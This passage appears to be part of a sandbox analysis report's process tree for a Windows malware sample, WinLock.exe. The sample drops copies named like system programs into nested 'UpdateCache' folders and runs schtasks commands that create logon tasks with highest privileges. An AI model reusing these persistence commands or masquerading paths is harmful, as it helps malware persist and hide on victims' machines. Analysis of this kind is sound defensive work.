  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:12184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_25" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\UpdateCache\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:15176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_25" /tr ""C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\UpdateCache\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10184
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_psr_26" /tr ""C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\UpdateCache\psr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:16088
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PkgMgr_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\PkgMgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6500
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ntprint_28" /tr ""C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\Logs\UpdateCache\ntprint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_svchost_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_stordiag_31" /tr ""C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\UpdateCache\stordiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TCPSVCS_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\TCPSVCS.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13712

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --init
1⤵
PID:3332

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" /setup
1⤵
PID:1756

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --wininit
1⤵
PID:2212

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:1288

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:6796

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:10868

C:\Users\Admin\AppData\Local\MicrosoftService\regedit.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\regedit.exe" --guard
1⤵
- Executes dropped EXE
- Runs regedit.exe
PID:7280

C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe
"C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe" --guard
1⤵
- Executes dropped EXE
PID:7272

C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe
"C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe" --guard
1⤵
- Executes dropped EXE
PID:4088

C:\Users\Admin\AppData\Roaming\UseHide\Logs\stordiag.exe
"C:\Users\Admin\AppData\Roaming\UseHide\Logs\stordiag.exe" --guard
1⤵
- Executes dropped EXE
PID:10112

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 656 -p 10872 -ip 10872
1⤵
PID:16232

C:\ProgramData\Oracle\Logs\UserAccountBroker.exe
"C:\ProgramData\Oracle\Logs\UserAccountBroker.exe" --guard
1⤵
- Executes dropped EXE
PID:10780

C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe
"C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --startup
1⤵
- Executes dropped EXE
PID:5572

C:\Users\Admin\AppData\Local\MicrosoftService\setupugc.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\setupugc.exe" --guard
1⤵
- Executes dropped EXE
PID:14068

C:\ProgramData\USOShared\Logs\SystemPropertiesDataExecutionPrevention.exe
"C:\ProgramData\USOShared\Logs\SystemPropertiesDataExecutionPrevention.exe" --guard
1⤵
- Executes dropped EXE
PID:9984

C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe
"C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe" --startup
1⤵
- Executes dropped EXE
PID:1260

C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe" --guard
1⤵
- Executes dropped EXE
- Runs regedit.exe
PID:15624

C:\ProgramData\ssh\Logs\UpdateCache\psr.exe
"C:\ProgramData\ssh\Logs\UpdateCache\psr.exe" --startup
1⤵
- Executes dropped EXE
PID:15192

C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\autochk.exe
"C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\autochk.exe" --guard
1⤵
- Executes dropped EXE
PID:8900

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe
"C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --guard
1⤵
- Executes dropped EXE
PID:5856

C:\Users\Admin\AppData\Roaming\WaitSync\Logs\sfc.exe
"C:\Users\Admin\AppData\Roaming\WaitSync\Logs\sfc.exe" --startup
1⤵
- Executes dropped EXE
PID:5728

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --startup
1⤵
PID:15708

C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\cipher.exe
"C:\Users\Admin\AppData\Roaming\ApproveRemove\Logs\cipher.exe" --startup
1⤵
- Executes dropped EXE
PID:5152

C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\psr.exe
"C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\psr.exe" --guard
1⤵
- Executes dropped EXE
PID:16036

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\svchost.exe" --guard
1⤵
- Executes dropped EXE
PID:6040

C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\eventvwr.exe
"C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\eventvwr.exe" --guard
1⤵
- Executes dropped EXE
PID:9528

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\svchost.exe" --guard
1⤵
- Executes dropped EXE
PID:11724
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 11724 -s 248
  2⤵
  - Program crash
  PID:8028

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe
"C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --startup
1⤵
- Executes dropped EXE
PID:7044

C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe
"C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe" --guard
1⤵
- Executes dropped EXE
PID:15696

C:\Users\Admin\AppData\Local\Adobe\Logs\InfDefaultInstall.exe
"C:\Users\Admin\AppData\Local\Adobe\Logs\InfDefaultInstall.exe" --guard
1⤵
- Executes dropped EXE
PID:15460

C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\reg.exe
"C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\reg.exe" --guard
1⤵
- Executes dropped EXE
PID:11808

C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe
"C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe" --startup
1⤵
- Executes dropped EXE
PID:8036

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\svchost.exe" --startup
1⤵
- Executes dropped EXE
PID:11160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 11724 -ip 11724
1⤵
PID:14332

C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe
"C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe" --startup
1⤵
- Executes dropped EXE
PID:8372

C:\Users\Admin\AppData\Local\Temp\VBE\Logs\reg.exe
"C:\Users\Admin\AppData\Local\Temp\VBE\Logs\reg.exe" --guard
1⤵
- Executes dropped EXE
PID:9520

C:\Users\Admin\AppData\Roaming\PingStop\Logs\proquota.exe
"C:\Users\Admin\AppData\Roaming\PingStop\Logs\proquota.exe" --guard
1⤵
- Executes dropped EXE
PID:13120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 15708 -ip 15708
1⤵
PID:1904

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 16036 -ip 16036
1⤵
PID:2596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 5152 -ip 5152
1⤵
PID:11192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5856 -ip 5856
1⤵
PID:8572

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:6052

C:\Users\Admin\AppData\Local\Temp\Low\Logs\msinfo32.exe
"C:\Users\Admin\AppData\Local\Temp\Low\Logs\msinfo32.exe" --guard
1⤵
- Executes dropped EXE
PID:14252

C:\Users\Admin\AppData\Roaming\UndoSave\Logs\convert.exe
"C:\Users\Admin\AppData\Roaming\UndoSave\Logs\convert.exe" --guard
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:16068

C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\RmClient.exe
"C:\Users\Admin\AppData\Roaming\GroupRequest\Logs\RmClient.exe" --guard
1⤵
- Executes dropped EXE
PID:2676

C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe
"C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --guard
1⤵
- Executes dropped EXE
PID:16092

C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe
"C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --startup
1⤵
- Executes dropped EXE
PID:9876

C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe
C:\Users\Admin\AppData\Local\Publishers\Logs\UpdateCache\SystemPropertiesHardware.exe
1⤵
- Executes dropped EXE
PID:9916

C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe
"C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --startup
1⤵
- Executes dropped EXE
PID:4512

C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe
C:\Users\Admin\AppData\Roaming\UseHide\Logs\UpdateCache\stordiag.exe
1⤵
- Executes dropped EXE
PID:11420

C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe
C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\wiaacmgr.exe
1⤵
- Executes dropped EXE
PID:1444

C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\eventvwr.exe
C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\eventvwr.exe
1⤵
- Executes dropped EXE
PID:1364

C:\Users\Admin\AppData\Local\Packages\Logs\esentutl.exe
"C:\Users\Admin\AppData\Local\Packages\Logs\esentutl.exe" --guard
1⤵
- Executes dropped EXE
PID:6600

C:\Users\Admin\AppData\Local\Mozilla\Logs\Utilman.exe
"C:\Users\Admin\AppData\Local\Mozilla\Logs\Utilman.exe" --startup
1⤵
- Executes dropped EXE
PID:15728

C:\Users\Admin\AppData\Local\Comms\Logs\TSTheme.exe
"C:\Users\Admin\AppData\Local\Comms\Logs\TSTheme.exe" --guard
1⤵
- Executes dropped EXE
PID:13036

C:\ProgramData\MicrosoftService\dplaysvr.exe
"C:\ProgramData\MicrosoftService\dplaysvr.exe" --startup
1⤵
- Executes dropped EXE
PID:13792

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\fc.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\fc.exe" --guard
1⤵
- Executes dropped EXE
PID:10344

C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe
"C:\Users\Admin\AppData\Roaming\PingStop\Logs\UpdateCache\proquota.exe" --guard
1⤵
- Executes dropped EXE
PID:15420

C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe
"C:\ProgramData\USOShared\Logs\UpdateCache\SystemPropertiesDataExecutionPrevention.exe" --startup
1⤵
- Executes dropped EXE
PID:15072

C:\Users\Admin\AppData\Roaming\Sun\Logs\iexpress.exe
"C:\Users\Admin\AppData\Roaming\Sun\Logs\iexpress.exe" --guard
1⤵
- Executes dropped EXE
PID:7276

C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe
"C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --guard
1⤵
- Executes dropped EXE
PID:15676

C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\ctfmon.exe
"C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\ctfmon.exe" --guard
1⤵
- Executes dropped EXE
PID:12256

C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe
"C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --startup
1⤵
- Executes dropped EXE
PID:15648

C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\psr.exe
"C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\psr.exe" --startup
1⤵
- Executes dropped EXE
PID:12812

C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\ctfmon.exe
"C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\ctfmon.exe" --startup
1⤵
- Executes dropped EXE
PID:11572

C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\reg.exe
C:\Users\Admin\AppData\Local\PlaceholderTileLogoFolder\Logs\reg.exe
1⤵
- Executes dropped EXE
PID:13984

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --startup
1⤵
- Executes dropped EXE
PID:4320

C:\ProgramData\MicrosoftService\WerFault.exe
"C:\ProgramData\MicrosoftService\WerFault.exe" --guard
1⤵
- Executes dropped EXE
PID:13728

C:\Users\Admin\AppData\Roaming\WaitSync\Logs\sfc.exe
"C:\Users\Admin\AppData\Roaming\WaitSync\Logs\sfc.exe" --guard
1⤵
- Executes dropped EXE
PID:14712

C:\ProgramData\MicrosoftService\UpdateCache\WerFault.exe
"C:\ProgramData\MicrosoftService\UpdateCache\WerFault.exe" --guard
1⤵
- Executes dropped EXE
PID:3984

C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\rundll32.exe
"C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\rundll32.exe" --guard
1⤵
- Executes dropped EXE
PID:6620

C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\UpdateCache\vcredist_x86.exe
"C:\ProgramData\Package Cache\{61087a79-ac85-455c-934d-1fa22cc64f36}\UpdateCache\vcredist_x86.exe" --guard
1⤵
- Executes dropped EXE
PID:12364

C:\Users\Admin\AppData\Roaming\Mozilla\Logs\find.exe
"C:\Users\Admin\AppData\Roaming\Mozilla\Logs\find.exe" --guard
1⤵
- Executes dropped EXE
PID:12336

C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe
"C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_56197266\Logs\UpdateCache\eventvwr.exe" --guard
1⤵
- Executes dropped EXE
PID:11144

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\fc.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\fc.exe" --startup
1⤵
- Executes dropped EXE
PID:6084

C:\ProgramData\MicrosoftService\UpdateCache\SndVol.exe
C:\ProgramData\MicrosoftService\UpdateCache\SndVol.exe
1⤵
- Executes dropped EXE
PID:16224

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe
C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe
1⤵
- Executes dropped EXE
PID:10044

C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\mspaint.exe
"C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\mspaint.exe" --guard
1⤵
- Executes dropped EXE
PID:15900

C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe
"C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\rekeywiz.exe" --startup
1⤵
PID:10640

C:\ProgramData\MicrosoftService\SearchFilterHost.exe
"C:\ProgramData\MicrosoftService\SearchFilterHost.exe" --guard
1⤵
PID:6832

C:\ProgramData\ssh\Logs\UpdateCache\psr.exe
"C:\ProgramData\ssh\Logs\UpdateCache\psr.exe" --guard
1⤵
- System Location Discovery: System Language Discovery
PID:5792

C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\autochk.exe
"C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\autochk.exe" --guard
1⤵
PID:6512

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\fc.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\fc.exe" --guard
1⤵
PID:8880

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --guard
1⤵
PID:14660

C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\gpresult.exe
"C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\gpresult.exe" --guard
1⤵
PID:7252

C:\ProgramData\USOShared\Logs\SystemPropertiesDataExecutionPrevention.exe
C:\ProgramData\USOShared\Logs\SystemPropertiesDataExecutionPrevention.exe
1⤵
PID:13952

C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe
C:\Users\Admin\AppData\Roaming\ConvertComplete\Logs\dplaysvr.exe
1⤵
PID:3800

C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe
"C:\Users\Admin\AppData\Local\Temp\scoped_dir4172_1781407160\Logs\UpdateCache\rundll32.exe" --guard
1⤵
- System Location Discovery: System Language Discovery
PID:12660

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --startup
1⤵
PID:12788

C:\ProgramData\Microsoft OneDrive\Logs\SearchProtocolHost.exe
"C:\ProgramData\Microsoft OneDrive\Logs\SearchProtocolHost.exe" --guard
1⤵
PID:14976

C:\Users\Admin\AppData\Local\Mozilla\Logs\Utilman.exe
"C:\Users\Admin\AppData\Local\Mozilla\Logs\Utilman.exe" --guard
1⤵
PID:7308

C:\Users\Admin\AppData\Local\Temp\VBE\Logs\reg.exe
C:\Users\Admin\AppData\Local\Temp\VBE\Logs\reg.exe
1⤵
PID:15712

C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\iexpress.exe
"C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\iexpress.exe" --guard
1⤵
PID:1780

C:\Users\Admin\AppData\Local\MicrosoftService\regedit.exe
C:\Users\Admin\AppData\Local\MicrosoftService\regedit.exe
1⤵
- Runs regedit.exe
PID:436

C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe
"C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --guard
1⤵
- System Location Discovery: System Language Discovery
PID:9392

C:\ProgramData\MicrosoftService\WerFault.exe
"C:\ProgramData\MicrosoftService\WerFault.exe" --startup
1⤵
PID:6436

C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe
"C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\reg.exe" --guard
1⤵
PID:15516

C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\rekeywiz.exe
C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\rekeywiz.exe
1⤵
PID:392

C:\Users\Admin\AppData\Local\Google\Logs\unlodctr.exe
C:\Users\Admin\AppData\Local\Google\Logs\unlodctr.exe
1⤵
PID:4168

C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe
"C:\Users\Admin\AppData\Roaming\AssertRemove\Logs\UpdateCache\psr.exe" --startup
1⤵
PID:14552

C:\ProgramData\MicrosoftService\backgroundTaskHost.exe
"C:\ProgramData\MicrosoftService\backgroundTaskHost.exe" --startup
1⤵
PID:15028

C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\rekeywiz.exe
"C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\rekeywiz.exe" --guard
1⤵
PID:12980

C:\Users\Admin\AppData\Local\MicrosoftService\recover.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\recover.exe" --guard
1⤵
PID:8180

C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\sfc.exe
"C:\Users\Admin\AppData\Roaming\WaitSync\Logs\UpdateCache\sfc.exe" --startup
1⤵
PID:16108

C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\gpresult.exe
"C:\Users\Admin\AppData\Roaming\InstallOptimize\Logs\UpdateCache\gpresult.exe" --guard
1⤵
PID:8088

C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\notepad.exe
"C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\notepad.exe" --guard
1⤵
PID:8308

C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe
"C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\InfDefaultInstall.exe" --guard
1⤵
PID:15952

C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe
"C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\fc.exe" --guard
1⤵
- System Location Discovery: System Language Discovery
PID:8532

C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\unlodctr.exe
"C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\unlodctr.exe" --guard
1⤵
PID:7072

C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\notepad.exe
"C:\Users\Admin\AppData\Local\Temp\{A67CD09C-9726-4207-94FF-F2DAD6D81AAE}\Logs\notepad.exe" --startup
1⤵
PID:4264

C:\Users\Admin\AppData\Local\MicrosoftService\recover.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\recover.exe" --startup
1⤵
PID:14632

C:\Users\Admin\AppData\Local\MicrosoftService\gpupdate.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\gpupdate.exe" --guard
1⤵
PID:6744

C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\Register-CimProvider.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\Register-CimProvider.exe" --startup
1⤵
PID:972

C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --startup
1⤵
- Modifies file permissions
PID:12540

C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\autochk.exe
C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\autochk.exe
1⤵
PID:14304

C:\Users\Admin\AppData\Roaming\PingStop\Logs\proquota.exe
C:\Users\Admin\AppData\Roaming\PingStop\Logs\proquota.exe
1⤵
PID:11144
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 11144 -s 776
  2⤵
  - Program crash
  PID:8284

C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe
"C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --guard
1⤵
PID:4496

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\svchost.exe" --startup
1⤵
PID:15848

C:\ProgramData\Oracle\Logs\UserAccountBroker.exe
C:\ProgramData\Oracle\Logs\UserAccountBroker.exe
1⤵
PID:2748

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
C:\Users\Admin\AppData\Local\Temp\WinLock.exe
1⤵
- System Location Discovery: System Language Discovery
PID:7952

C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe
"C:\ProgramData\Package Cache\{ef5af41f-d68c-48f7-bfb0-5055718601fc}\UpdateCache\windowsdesktop-runtime-7.0.16-win-x64.exe" --guard
1⤵
PID:10732

C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe
"C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\UpdateCache\regedit.exe" --startup
1⤵
- Runs regedit.exe
PID:16316

C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe
